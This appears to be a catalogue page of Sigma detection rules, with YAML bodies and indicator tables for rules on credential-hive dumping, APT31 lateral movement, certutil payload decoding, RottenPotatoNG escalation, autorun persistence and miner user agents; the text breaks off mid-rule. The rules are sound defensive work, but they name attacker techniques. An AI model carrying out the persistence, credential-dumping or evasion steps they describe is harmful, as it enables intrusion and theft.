Detection rules › Sigma

Sigma rules: 0x

RuleSeverity
Activity from Anonymous IP Addressesmedium
Amsi.DLL Loaded Via LOLBIN Processmedium
Anonymous login (RottenPotatoNG)high
Antivirus PrinterNightmare CVE-2021-34527 Exploit Detectioncritical
APT31 Judgement Panda Activitycritical
Certutil payload obfuscation - Tchopper (command)high
Cisco LDP Authentication Failureslow
Critical Hive In Suspicious Location Access Bits Clearedhigh
Crypto Miner User Agenthigh
Direct Autorun Keys Modificationmedium
Displaying Hidden Files Feature Disabledmedium
Django Framework Exceptionsmedium
External Disk Drive Or USB Storage Device Was Recognized By The Systemlow
Get Credentials For Identityhigh
Github Repository/Organization Transferredmedium
Group Policy Abuse for Privilege Additionmedium
HackTool - Hashcat Password Cracker Executionhigh
Invoke-Obfuscation Via Use Rundll32 - Securityhigh
Locked Workstationinformational
Macos Remote System Discoveryinformational
Microsoft Teams Sensitive File Access By Uncommon Applicationsmedium
OpenSSH server firewall configuration on Windows (PowerShell)high
PFX File Creationlow
Potentially Suspicious File Download From ZIP TLDhigh
Potentially Suspicious JWT Token Search Via CLImedium
PsExec/PAExec Escalation to LOCAL SYSTEMhigh
Python Spawning Pretty TTY Via PTY Modulemedium
Remote shell execution via SMB admin sharehigh
Remote Thread Created In KeePass.EXEhigh
Scheduled Task Creation with Curl and PowerShell Execution Combomedium
Secretdump password dumping via SMB admin sharehigh
Service permissions hijacked for privileges abuse (reg via command)high
SQL Server - new member added to a server rolemedium
Suspicious BitLocker Access Agent Update Utility Executionhigh
Suspicious DNS Query for IP Lookup Service APIsmedium
Suspicious Double Extension Fileshigh
Suspicious Unblock-Filemedium
Taskkill Symantec Endpoint Protectionhigh
UNC4841 - Download Tar File From Untrusted Direct IP Via Wgethigh
Use Of The SFTP.EXE Binary As A LOLBINmedium
User Discovery And Export Via Get-ADUser Cmdletmedium
WerFaultSecure Loading DbgCore or DbgHelp - EDR-Freezemedium
Windows Defender AMSI Trigger Detectedhigh
Windows Defender Threat Severity Default Action Modifiedhigh
WinSock2 Autorun Keys Modificationmedium

Activity from Anonymous IP Addresses

#
Status
test
Severity
medium
Author
Austin Songer @austinsonger
Source
github.com/SigmaHQ/sigma

Detects when a Microsoft Cloud App Security reported when users were active from an IP address that has been identified as an anonymous proxy IP address.

Known False Positives

  • User using a VPN or Proxy

MITRE ATT&CK Coverage

TacticTechniques
Command & Control

Telemetry Coverage

Rule Body

title: Activity from Anonymous IP Addresses
id: d8b0a4fe-07a8-41be-bd39-b14afa025d95
status: test
description: Detects when a Microsoft Cloud App Security reported when users were active from an IP address that has been identified as an anonymous proxy IP address.
references:
    - https://learn.microsoft.com/en-us/defender-cloud-apps/anomaly-detection-policy
    - https://learn.microsoft.com/en-us/defender-cloud-apps/policy-template-reference
author: Austin Songer @austinsonger
date: 2021-08-23
modified: 2022-10-09
tags:
    - attack.command-and-control
    - attack.t1573
logsource:
    service: threat_management
    product: m365
detection:
    selection:
        eventSource: SecurityComplianceCenter
        eventName: 'Activity from anonymous IP addresses'
        status: success
    condition: selection
falsepositives:
    - User using a VPN or Proxy
level: medium

Stages and Predicates

Stage 0: condition

selection

Stage 1: selection

selection:
    eventSource: SecurityComplianceCenter
    eventName: 'Activity from anonymous IP addresses'
    status: success

Indicators

These rows show field, operator, and value matches.

FieldKindValuesSearch
eventNameeq
  • Activity from anonymous IP addresses
field:"aws::eventName" kind:eq value:"Activity from anonymous IP addresses"
eventSourceeq
  • SecurityComplianceCenter corpus 14 (sigma 14)
field:"aws::eventSource" kind:eq value:"SecurityComplianceCenter"
statuseq
  • success corpus 21 (sigma 15, splunk 6)
field:"status" kind:eq value:"success"

Amsi.DLL Loaded Via LOLBIN Process

#
Status
test
Severity
medium
Author
Nasreddine Bencherchali (Nextron Systems)
Source
github.com/SigmaHQ/sigma

Detects loading of "Amsi.dll" by a living of the land process. This could be an indication of a "PowerShell without PowerShell" attack

MITRE ATT&CK Coverage

TacticTechniques
Defense ImpairmentNo specific technique

Telemetry Coverage

ProviderRecord / event type
SysmonEvent ID 7: Image loaded

Rule Body

title: Amsi.DLL Loaded Via LOLBIN Process
id: 6ec86d9e-912e-4726-91a2-209359b999b9
status: test
description: Detects loading of "Amsi.dll" by a living of the land process. This could be an indication of a "PowerShell without PowerShell" attack
references:
    - Internal Research
    - https://www.paloaltonetworks.com/blog/security-operations/stopping-powershell-without-powershell/
author: Nasreddine Bencherchali (Nextron Systems)
date: 2023-06-01
modified: 2025-10-07
tags:
    - attack.defense-impairment
logsource:
    category: image_load
    product: windows
detection:
    selection:
        ImageLoaded|endswith: '\amsi.dll'
        Image|endswith:
            # TODO: Add more interesting processes
            - '\ExtExport.exe'
            - '\odbcconf.exe'
            # - '\regsvr32.exe' # legitimately calls amsi.dll
            - '\rundll32.exe'
    condition: selection
falsepositives:
    - Unknown
level: medium

Stages and Predicates

Stage 0: condition

selection

Stage 1: selection

selection:
    ImageLoaded|endswith: '\amsi.dll'
    Image|endswith:
        - '\ExtExport.exe'
        - '\odbcconf.exe'
        - '\rundll32.exe'

Indicators

These rows show field, operator, and value matches.

FieldKindValuesSearch
Imageends_with
  • \ExtExport.exe corpus 3 (sigma 3)
  • \odbcconf.exe corpus 11 (sigma 11)
  • \rundll32.exe corpus 94 (sigma 94)
field:"Image" kind:ends_with
ImageLoadedends_with
  • \amsi.dll corpus 3 (sigma 3)
field:"ImageLoaded" kind:ends_with value:"\amsi.dll"

Anonymous login (RottenPotatoNG)

#
Status
experimental
Severity
high
Author
mdecrevoisier
Source
github.com/mdecrevoisier/SIGMA-detection-rules

Detects scenarios where an attacker abuse RPC, NTLM relay and others components to escalate privileges.

Known False Positives

  • None

MITRE ATT&CK Coverage

Telemetry Coverage

Rule Body

title: Anonymous login (RottenPotatoNG)
description: Detects scenarios where an attacker abuse RPC, NTLM relay and others components to escalate privileges.
references:
- https://github.com/mdecrevoisier/EVTX-to-MITRE-Attack/tree/master/TA0004-Privilege%20Escalation/T1134-Access%20Token%20Manipulation
- https://github.com/breenmachine/RottenPotatoNG
- https://jlajara.gitlab.io/others/2020/11/22/Potatoes_Windows_Privesc.html
- https://foxglovesecurity.com/2016/09/26/rotten-potato-privilege-escalation-from-service-accounts-to-system/
tags:
- attack.privilege_escalation
- attack.t1134.001
author: mdecrevoisier
status: experimental
logsource:
  product: windows
  service: security
detection:

  selection_login:
    EventID: 4624
    TargetUserSid: S-1-5-7 # ANONYMOUS LOGON
    LogonType: 3
    AuthenticationPackageName: NTLM
    IpAddress: '127.0.0.1'
    #LmPackageName NTLM V1

  selection_process:
    EventID: 4688
    SubjectUserSid: S-1-5-18
    NewProcessName|endswith: '\cmd.exe'

  condition: selection_login and selection_process
falsepositives:
- None
level: high

Stages and Predicates

Stage 0: condition

selection_login and selection_process

Stage 1: selection_login

selection_login:
  EventID: 4624
  TargetUserSid: S-1-5-7
  LogonType: 3
  AuthenticationPackageName: NTLM
  IpAddress: '127.0.0.1'

Stage 2: selection_process

selection_process:
  EventID: 4688
  SubjectUserSid: S-1-5-18
  NewProcessName|endswith: '\cmd.exe'

Indicators

These rows show field, operator, and value matches.

FieldKindValuesSearch
AuthenticationPackageNameeq
  • NTLM corpus 7 (sigma 5, elastic 1, splunk 1)
field:"AuthenticationPackageName" kind:eq value:"NTLM"
IpAddresseq
  • 127.0.0.1 corpus 6 (sigma 5, splunk 1)
field:"src_ip" kind:eq value:"127.0.0.1"
LogonTypeeq
  • 3 corpus 30 (splunk 13, sigma 12, elastic 5)
field:"LogonType" kind:eq value:"3"
NewProcessNameends_with
  • \cmd.exe corpus 132 (sigma 130, splunk 2)
field:"Image" kind:ends_with value:"\cmd.exe"
SubjectUserSideq
  • S-1-5-18 corpus 4 (sigma 2, elastic 1, splunk 1)
field:"SubjectUserSid" kind:eq value:"S-1-5-18"
TargetUserSideq
  • S-1-5-7 corpus 3 (sigma 3)
field:"TargetUserSid" kind:eq value:"S-1-5-7"

Antivirus PrinterNightmare CVE-2021-34527 Exploit Detection

#
Status
stable
Severity
critical
Author
Sittikorn S, Nuttakorn T, Tim Shelton
Source
github.com/SigmaHQ/sigma

Detects the suspicious file that is created from PoC code against Windows Print Spooler Remote Code Execution Vulnerability CVE-2021-34527 (PrinterNightmare), CVE-2021-1675 .

Known False Positives

  • Unlikely, or pending PSP analysis

MITRE ATT&CK Coverage

TacticTechniques
Privilege Escalation
Stealth

Rule Body

title: Antivirus PrinterNightmare CVE-2021-34527 Exploit Detection
id: 6fe1719e-ecdf-4caf-bffe-4f501cb0a561
status: stable
description: Detects the suspicious file that is created from PoC code against Windows Print Spooler Remote Code Execution Vulnerability CVE-2021-34527 (PrinterNightmare), CVE-2021-1675 .
references:
    - https://twitter.com/mvelazco/status/1410291741241102338
    - https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-1675
    - https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34527
author: Sittikorn S, Nuttakorn T, Tim Shelton
date: 2021-07-01
modified: 2023-10-23
tags:
    - attack.privilege-escalation
    - attack.stealth
    - attack.t1055
    - detection.emerging-threats
    - cve.2021-34527
    - cve.2021-1675
logsource:
    category: antivirus
detection:
    selection:
        Filename|contains: ':\Windows\System32\spool\drivers\x64\'
    keywords:
        - 'File submitted to Symantec' # symantec fp, pending analysis, more generic
    condition: selection and not keywords
falsepositives:
    - Unlikely, or pending PSP analysis
level: critical

Stages and Predicates

Stage 0: condition

selection and not keywords

Stage 1: selection

selection:
    Filename|contains: ':\Windows\System32\spool\drivers\x64\'

Stage 2: not keywords

keywords:
    - 'File submitted to Symantec'

Indicators

These rows show field, operator, and value matches.

FieldKindValuesSearch
Filenamematch
  • :\Windows\System32\spool\drivers\x64\
field:"Filename" kind:match value:":\Windows\System32\spool\drivers\x64\"

APT31 Judgement Panda Activity

#
Status
test
Severity
critical
Author
Florian Roth (Nextron Systems)
Source
github.com/SigmaHQ/sigma

Detects APT31 Judgement Panda activity as described in the Crowdstrike 2019 Global Threat Report

Known False Positives

  • Unlikely

MITRE ATT&CK Coverage

Telemetry Coverage

Rule Body

title: APT31 Judgement Panda Activity
id: 03e2746e-2b31-42f1-ab7a-eb39365b2422
status: test
description: Detects APT31 Judgement Panda activity as described in the Crowdstrike 2019 Global Threat Report
references:
    - https://www.documentcloud.org/documents/5743766-Global-Threat-Report-2019.html
author: Florian Roth (Nextron Systems)
date: 2019-02-21
modified: 2023-03-10
tags:
    - attack.collection
    - attack.lateral-movement
    - attack.credential-access
    - attack.g0128
    - attack.t1003.001
    - attack.t1560.001
    - detection.emerging-threats
logsource:
    category: process_creation
    product: windows
detection:
    selection_ldifde:
        CommandLine|contains|all:
            - 'ldifde'
            - '-f -n'
            - 'eprod.ldf'
    selection_lateral_movement:
        CommandLine|contains|all:
            - 'copy \\\\'
            - 'c$'
        CommandLine|contains:
            - '\aaaa\procdump64.exe'
            - '\aaaa\netsess.exe'
            - '\aaaa\7za.exe'
            - '\c$\aaaa\'
    condition: 1 of selection_*
falsepositives:
    - Unlikely
level: critical

Stages and Predicates

Stage 0: condition

1 of selection_*

Stage 1: selection_ldifde

selection_ldifde:
    CommandLine|contains|all:
        - 'ldifde'
        - '-f -n'
        - 'eprod.ldf'

Stage 2: selection_lateral_movement

selection_lateral_movement:
    CommandLine|contains|all:
        - 'copy \\\\'
        - 'c$'
    CommandLine|contains:
        - '\aaaa\procdump64.exe'
        - '\aaaa\netsess.exe'
        - '\aaaa\7za.exe'
        - '\c$\aaaa\'

Indicators

These rows show field, operator, and value matches.

FieldKindValuesSearch
CommandLinematch
  • -f -n
  • \aaaa\7za.exe
  • \aaaa\netsess.exe
  • \aaaa\procdump64.exe
  • \c$\aaaa\
  • c$
  • copy \\\\
  • eprod.ldf
  • ldifde
field:"CommandLine" kind:match

Certutil payload obfuscation - Tchopper (command)

#
Status
experimental
Severity
high
Author
mdecrevoisier
Source
github.com/mdecrevoisier/SIGMA-detection-rules

Detects scenarios where an attacker attempts to abuse certutil command to download obfuscated malicious payload using the Tchopper tool.

Known False Positives

  • None

MITRE ATT&CK Coverage

Telemetry Coverage

Rule Body

title: Certutil payload obfuscation - Tchopper (command)
description: Detects scenarios where an attacker attempts to abuse certutil command to download obfuscated malicious payload using the Tchopper tool.
references:
- https://github.com/lawrenceamer/TChopper
- https://www.elastic.co/guide/en/security/current/suspicious-certutil-commands.html
- https://www.bleepingcomputer.com/news/security/certutilexe-could-allow-attackers-to-download-malware-while-bypassing-av/
- https://attack.mitre.org/software/S0160/
- https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/certutil
- https://www.sentinelone.com/blog/malware-living-off-land-with-certutil/
tags:
- attack.defense_evasion
- attack.t1140
author: mdecrevoisier
status: experimental
logsource:
  product: windows
  category: process_creation
detection:
  selection:
    EventID: 4688
    Version: 2 # parent process name is available starting Windows 10 / Server 2016 and higher
    ParentProcessName|endswith: '\WmiPrvSE.exe'
    NewProcessName|endswith: '\certutil.exe'
    CommandLine|contains: decode
  condition: selection
falsepositives:
- None
level: high

Stages and Predicates

Stage 0: condition

selection

Stage 1: selection

selection:
  EventID: 4688
  Version: 2
  ParentProcessName|endswith: '\WmiPrvSE.exe'
  NewProcessName|endswith: '\certutil.exe'
  CommandLine|contains: decode

Indicators

These rows show field, operator, and value matches.

FieldKindValuesSearch
CommandLinematch
  • decode corpus 5 (sigma 2, splunk 2, elastic 1)
field:"CommandLine" kind:match value:"decode"
NewProcessNameends_with
  • \certutil.exe corpus 43 (sigma 43)
field:"Image" kind:ends_with value:"\certutil.exe"
ParentProcessNameends_with
  • \WmiPrvSE.exe corpus 2 (sigma 2)
field:"parent_process_name" kind:ends_with value:"\WmiPrvSE.exe"
Versioneq
  • 2 corpus 7 (sigma 7)
field:"Version" kind:eq value:"2"

Cisco LDP Authentication Failures

#
Status
test
Severity
low
Author
Tim Brown
Source
github.com/SigmaHQ/sigma

Detects LDP failures which may be indicative of brute force attacks to manipulate MPLS labels

Known False Positives

  • Unlikely. Except due to misconfigurations

MITRE ATT&CK Coverage

Rule Body

title: Cisco LDP Authentication Failures
id: 50e606bf-04ce-4ca7-9d54-3449494bbd4b
status: test
description: Detects LDP failures which may be indicative of brute force attacks to manipulate MPLS labels
references:
    - https://www.blackhat.com/presentations/bh-usa-03/bh-us-03-convery-franz-v3.pdf
author: Tim Brown
date: 2023-01-09
tags:
    - attack.initial-access
    - attack.persistence
    - attack.privilege-escalation
    - attack.credential-access
    - attack.collection
    - attack.stealth
    - attack.t1078
    - attack.t1110
    - attack.t1557
logsource:
    product: cisco
    service: ldp
    definition: 'Requirements: cisco ldp logs need to be enabled and ingested'
detection:
    selection_protocol:
        - 'LDP'
    selection_keywords:
        - 'SOCKET_TCP_PACKET_MD5_AUTHEN_FAIL'
        - 'TCPMD5AuthenFail'
    condition: selection_protocol and selection_keywords
falsepositives:
    - Unlikely. Except due to misconfigurations
level: low

Stages and Predicates

Stage 0: condition

selection_protocol and selection_keywords

Stage 1: selection_protocol

selection_protocol:
    - 'LDP'

Stage 2: selection_keywords

selection_keywords:
    - 'SOCKET_TCP_PACKET_MD5_AUTHEN_FAIL'
    - 'TCPMD5AuthenFail'

Critical Hive In Suspicious Location Access Bits Cleared

#
Status
test
Severity
high
Author
Florian Roth (Nextron Systems)
Source
github.com/SigmaHQ/sigma

Detects events from the Kernel-General ETW indicating that the access bits of a hive with a system like hive name located in the temp directory have been reset. This occurs when an application tries to access a hive and the hive has not be recognized since the last 7 days (by default). Registry hive dumping utilities such as QuarksPwDump were seen emitting this behavior.

MITRE ATT&CK Coverage

Telemetry Coverage

Rule Body

title: Critical Hive In Suspicious Location Access Bits Cleared
id: 39f919f3-980b-4e6f-a975-8af7e507ef2b
related:
    - id: 839dd1e8-eda8-4834-8145-01beeee33acd
      type: obsolete
status: test
description: |
    Detects events from the Kernel-General ETW indicating that the access bits of a hive with a system like hive name located in the temp directory have been reset.
    This occurs when an application tries to access a hive and the hive has not be recognized since the last 7 days (by default).
    Registry hive dumping utilities such as QuarksPwDump were seen emitting this behavior.
references:
    - https://github.com/nasbench/Misc-Research/blob/b20da2336de0f342d31ef4794959d28c8d3ba5ba/ETW/Microsoft-Windows-Kernel-General.md
author: Florian Roth (Nextron Systems)
date: 2017-05-15
modified: 2024-01-18
tags:
    - attack.credential-access
    - attack.t1003.002
logsource:
    product: windows
    service: system
detection:
    selection:
        EventID: 16
        Provider_Name: Microsoft-Windows-Kernel-General
        HiveName|contains:
            - '\Temp\SAM'
            - '\Temp\SECURITY'
    condition: selection
falsepositives:
    - Unknown
level: high

Stages and Predicates

Stage 0: condition

selection

Stage 1: selection

selection:
    EventID: 16
    Provider_Name: Microsoft-Windows-Kernel-General
    HiveName|contains:
        - '\Temp\SAM'
        - '\Temp\SECURITY'

Indicators

These rows show field, operator, and value matches.

FieldKindValuesSearch
HiveNamematch
  • \Temp\SAM
  • \Temp\SECURITY
field:"HiveName" kind:match
Provider_Nameeq
  • Microsoft-Windows-Kernel-General
field:"Provider_Name" kind:eq value:"Microsoft-Windows-Kernel-General"

Crypto Miner User Agent

#
Status
test
Severity
high
Author
Florian Roth (Nextron Systems)
Source
github.com/SigmaHQ/sigma

Detects suspicious user agent strings used by crypto miners in proxy logs

MITRE ATT&CK Coverage

Rule Body

title: Crypto Miner User Agent
id: fa935401-513b-467b-81f4-f9e77aa0dd78
status: test
description: Detects suspicious user agent strings used by crypto miners in proxy logs
references:
    - https://github.com/xmrig/xmrig/blob/da22b3e6c45825f3ac1f208255126cb8585cd4fc/src/base/kernel/Platform_win.cpp#L65
    - https://github.com/xmrig/xmrig/blob/427b6516e0550200c17ca28675118f0fffcc323f/src/version.h
author: Florian Roth (Nextron Systems)
date: 2019-10-21
modified: 2021-11-27
tags:
    - attack.command-and-control
    - attack.t1071.001
logsource:
    category: proxy
detection:
    selection:
        c-useragent|startswith:
        # XMRig
            - 'XMRig '
        # CCMiner
            - 'ccminer'
    condition: selection
falsepositives:
    - Unknown
level: high

Stages and Predicates

Stage 0: condition

selection

Stage 1: selection

selection:
    c-useragent|startswith:
        - 'XMRig '
        - 'ccminer'

Indicators

These rows show field, operator, and value matches.

FieldKindValuesSearch
c-useragentstarts_with
  • XMRig
  • ccminer
field:"c-useragent" kind:starts_with

Direct Autorun Keys Modification

#
Status
test
Severity
medium
Author
Victor Sergeev, Daniil Yugoslavskiy, oscd.community, Swachchhanda Shrawan Poudel (Nextron Systems)
Source
github.com/SigmaHQ/sigma

Detects direct modification of autostart extensibility point (ASEP) in registry using reg.exe.

Known False Positives

  • Legitimate software automatically (mostly, during installation) sets up autorun keys for legitimate reasons.
  • Legitimate administrator sets up autorun keys for legitimate reasons.
  • Discord

MITRE ATT&CK Coverage

Telemetry Coverage

ProviderRecord / event type
SysmonEvent ID 1: Process creation

Rule Body

title: Direct Autorun Keys Modification
id: 24357373-078f-44ed-9ac4-6d334a668a11
status: test
description: Detects direct modification of autostart extensibility point (ASEP) in registry using reg.exe.
references:
    - https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1547.001/T1547.001.md
    - https://github.com/HackTricks-wiki/hacktricks/blob/e4c7b21b8f36c97c35b7c622732b38a189ce18f7/src/windows-hardening/windows-local-privilege-escalation/privilege-escalation-with-autorun-binaries.md
author: Victor Sergeev, Daniil Yugoslavskiy, oscd.community, Swachchhanda Shrawan Poudel (Nextron Systems)
date: 2019-10-25
modified: 2026-01-05
tags:
    - attack.privilege-escalation
    - attack.persistence
    - attack.t1547.001
logsource:
    category: process_creation
    product: windows
detection:
    selection_img:
        - Image|endswith: '\reg.exe'
        - OriginalFileName: 'reg.exe'
    selection_cli_add:
        CommandLine|contains: 'add'     # to avoid intersection with discovery tactic rules
    selection_cli_keys:
        CommandLine|contains:           # need to improve this list, there are plenty of ASEP reg keys
            - '\software\Microsoft\Windows\CurrentVersion\Run' # Also covers the strings "RunOnce", "RunOnceEx", "RunServices", "RunServicesOnce"
            - '\software\WOW6432Node\Microsoft\Windows\CurrentVersion\Run'
            - '\software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run'
            - '\software\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit'
            - '\software\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell'
            - '\software\Microsoft\Windows NT\CurrentVersion\Windows'
            - '\system\CurrentControlSet\Control\SafeBoot\AlternateShell'
    condition: all of selection_*
falsepositives:
    - Legitimate software automatically (mostly, during installation) sets up autorun keys for legitimate reasons.
    - Legitimate administrator sets up autorun keys for legitimate reasons.
    - Discord
level: medium

Stages and Predicates

Stage 0: condition

all of selection_*

Stage 1: selection_img

selection_img:
    - Image|endswith: '\reg.exe'
    - OriginalFileName: 'reg.exe'

Stage 2: selection_cli_add

selection_cli_add:
    CommandLine|contains: 'add'

Stage 3: selection_cli_keys

selection_cli_keys:
    CommandLine|contains:
        - '\software\Microsoft\Windows\CurrentVersion\Run'
        - '\software\WOW6432Node\Microsoft\Windows\CurrentVersion\Run'
        - '\software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run'
        - '\software\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit'
        - '\software\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell'
        - '\software\Microsoft\Windows NT\CurrentVersion\Windows'
        - '\system\CurrentControlSet\Control\SafeBoot\AlternateShell'

Indicators

These rows show field, operator, and value matches.

FieldKindValuesSearch
CommandLinematch
  • \software\Microsoft\Windows NT\CurrentVersion\Windows
  • \software\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell
  • \software\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit
  • \software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run corpus 3 (sigma 3)
  • \software\Microsoft\Windows\CurrentVersion\Run corpus 3 (sigma 3)
  • \software\WOW6432Node\Microsoft\Windows\CurrentVersion\Run corpus 3 (sigma 3)
  • \system\CurrentControlSet\Control\SafeBoot\AlternateShell
  • add corpus 30 (sigma 26, splunk 4)
field:"CommandLine" kind:match
Imageends_with
  • \reg.exe corpus 58 (sigma 58)
field:"Image" kind:ends_with value:"\reg.exe"
OriginalFileNameeq
  • reg.exe corpus 41 (sigma 32, splunk 8, elastic 1)
field:"OriginalFileName" kind:eq value:"reg.exe"

Displaying Hidden Files Feature Disabled

#
Status
test
Severity
medium
Author
frack113
Source
github.com/SigmaHQ/sigma

Detects modifications to the "Hidden" and "ShowSuperHidden" explorer registry values in order to disable showing of hidden files and system files. This technique is abused by several malware families to hide their files from normal users.

MITRE ATT&CK Coverage

Telemetry Coverage

Rule Body

title: Displaying Hidden Files Feature Disabled
id: 5a5152f1-463f-436b-b2f5-8eceb3964b42
status: test
description: |
    Detects modifications to the "Hidden" and "ShowSuperHidden" explorer registry values in order to disable showing of hidden files and system files.
    This technique is abused by several malware families to hide their files from normal users.
references:
    - https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1564.001/T1564.001.md#atomic-test-8---hide-files-through-registry
author: frack113
date: 2022-04-02
modified: 2024-03-26
tags:
    - attack.stealth
    - attack.t1564.001
logsource:
    category: registry_set
    product: windows
detection:
    selection:
        TargetObject|endswith:
            - '\Microsoft\Windows\CurrentVersion\Explorer\Advanced\ShowSuperHidden'
            - '\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Hidden'
        Details: 'DWORD (0x00000000)'
    condition: selection
falsepositives:
    - Unknown
level: medium
simulation:
    - type: atomic-red-team
      name: Hide Files Through Registry
      technique: T1564.001
      atomic_guid: f650456b-bd49-4bc1-ae9d-271b5b9581e7

Stages and Predicates

Stage 0: condition

selection

Stage 1: selection

selection:
    TargetObject|endswith:
        - '\Microsoft\Windows\CurrentVersion\Explorer\Advanced\ShowSuperHidden'
        - '\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Hidden'
    Details: 'DWORD (0x00000000)'

Indicators

These rows show field, operator, and value matches.

FieldKindValuesSearch
Detailseq
  • DWORD (0x00000000) corpus 36 (sigma 36)
field:"Details" kind:eq value:"DWORD (0x00000000)"
TargetObjectends_with
  • \Microsoft\Windows\CurrentVersion\Explorer\Advanced\Hidden
  • \Microsoft\Windows\CurrentVersion\Explorer\Advanced\ShowSuperHidden
field:"TargetObject" kind:ends_with

Django Framework Exceptions

#
Status
stable
Severity
medium
Author
Thomas Patzke
Source
github.com/SigmaHQ/sigma

Detects suspicious Django web application framework exceptions that could indicate exploitation attempts

Known False Positives

  • Application bugs

MITRE ATT&CK Coverage

TacticTechniques
Initial Access

Rule Body

title: Django Framework Exceptions
id: fd435618-981e-4a7c-81f8-f78ce480d616
status: stable
description: Detects suspicious Django web application framework exceptions that could indicate exploitation attempts
references:
    - https://docs.djangoproject.com/en/1.11/ref/exceptions/
    - https://docs.djangoproject.com/en/1.11/topics/logging/#django-security
author: Thomas Patzke
date: 2017-08-05
modified: 2020-09-01
tags:
    - attack.initial-access
    - attack.t1190
logsource:
    category: application
    product: django
detection:
    keywords:
        - SuspiciousOperation
        # Subclasses of SuspiciousOperation
        - DisallowedHost
        - DisallowedModelAdminLookup
        - DisallowedModelAdminToField
        - DisallowedRedirect
        - InvalidSessionKey
        - RequestDataTooBig
        - SuspiciousFileOperation
        - SuspiciousMultipartForm
        - SuspiciousSession
        - TooManyFieldsSent
        # Further security-related exceptions
        - PermissionDenied
    condition: keywords
falsepositives:
    - Application bugs
level: medium

Stages and Predicates

Stage 0: condition

keywords

Stage 1: keywords

keywords:
    - SuspiciousOperation
    - DisallowedHost
    - DisallowedModelAdminLookup
    - DisallowedModelAdminToField
    - DisallowedRedirect
    - InvalidSessionKey
    - RequestDataTooBig
    - SuspiciousFileOperation
    - SuspiciousMultipartForm
    - SuspiciousSession
    - TooManyFieldsSent
    - PermissionDenied

External Disk Drive Or USB Storage Device Was Recognized By The System

#
Status
test
Severity
low
Author
Keith Wright
Source
github.com/SigmaHQ/sigma

Detects external disk drives or plugged-in USB devices.

Known False Positives

  • Likely

MITRE ATT&CK Coverage

Telemetry Coverage

Rule Body

title: External Disk Drive Or USB Storage Device Was Recognized By The System
id: f69a87ea-955e-4fb4-adb2-bb9fd6685632
status: test
description: Detects external disk drives or plugged-in USB devices.
references:
    - https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-10/security/threat-protection/auditing/event-6416
author: Keith Wright
date: 2019-11-20
modified: 2024-02-09
tags:
    - attack.t1091
    - attack.t1200
    - attack.lateral-movement
    - attack.initial-access
logsource:
    product: windows
    service: security
detection:
    selection_eid:
        EventID: 6416
    selection_field:
        - ClassName: 'DiskDrive'
        - DeviceDescription: 'USB Mass Storage Device'
    condition: all of selection_*
falsepositives:
    - Likely
level: low

Stages and Predicates

Stage 0: condition

all of selection_*

Stage 1: selection_eid

selection_eid:
    EventID: 6416

Stage 2: selection_field

selection_field:
    - ClassName: 'DiskDrive'
    - DeviceDescription: 'USB Mass Storage Device'

Indicators

These rows show field, operator, and value matches.

Get Credentials For Identity

#
Status
experimental
Severity
high
Author
Zach Mathis (@yamatosecurity)
Source
github.com/Yamato-Security/suzaku-rules

Returns credentials for the provided identity ID. Any provided logins will be validated against supported login providers.

MITRE ATT&CK Coverage

Telemetry Coverage

Rules Detecting the Same Action

These rules filter on the same operation.

Rule Body

title: Get Credentials For Identity
id: 41b73340-8b0d-438f-9d35-ae0b4a21f136
status: experimental
description: |
    Returns credentials for the provided identity ID. Any provided logins will be validated against supported login providers.
references:
    - https://hackingthe.cloud/aws/exploitation/cognito_identity_pool_excessive_privileges/#exploitation
    - https://traildiscover.cloud/#CognitoIdentity-GetCredentialsForIdentity
author: Zach Mathis (@yamatosecurity)
date: 2025-04-23
modified: 2025-04-23
tags:
    - attack.credential-access
    - attack.t1078.004 # Valid Accounts: Cloud Accounts
logsource:
    product: aws
    service: cloudtrail
detection:
    selection:
        eventName: 'GetCredentialsForIdentity'
    filter:
        errorCode: 'AccessDenied'
    condition: selection and not filter
falsepositives:
level: high

Stages and Predicates

Stage 0: condition

selection and not filter

Stage 1: selection

selection:
    eventName: 'GetCredentialsForIdentity'

Stage 2: not filter

filter:
    errorCode: 'AccessDenied'

Indicators

These rows show field, operator, and value matches.

FieldKindValuesSearch
eventNameeq
  • GetCredentialsForIdentity corpus 2 (sigma 2)
field:"aws::eventName" kind:eq value:"GetCredentialsForIdentity"

Exclusions

The rule actively suppresses these predicates.

FieldKindExcluded valuesSearch
errorCodeeqAccessDeniedexcludes:errorCode field:"errorCode" value:"AccessDenied"

Github Repository/Organization Transferred

#
Status
test
Severity
medium
Author
Romain Gaillard (@romain-gaillard)
Source
github.com/SigmaHQ/sigma

Detects when a repository or an organization is being transferred to another location.

Known False Positives

  • Allowed administrative activities.

MITRE ATT&CK Coverage

Telemetry Coverage

Rules Detecting the Same Action

These rules filter on the same operation.

Rule Body

title: Github Repository/Organization Transferred
id: 04ad83ef-1a37-4c10-b57a-81092164bf33
status: test
description: Detects when a repository or an organization is being transferred to another location.
references:
    - https://docs.github.com/en/repositories/creating-and-managing-repositories/transferring-a-repository
    - https://docs.github.com/en/organizations/managing-organization-settings/transferring-organization-ownership
    - https://docs.github.com/en/migrations
    - https://docs.github.com/en/enterprise-cloud@latest/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/audit-log-events-for-your-enterprise#migration
author: Romain Gaillard (@romain-gaillard)
date: 2024-07-29
tags:
    - attack.persistence
    - attack.exfiltration
    - attack.t1020
    - attack.t1537
logsource:
    product: github
    service: audit
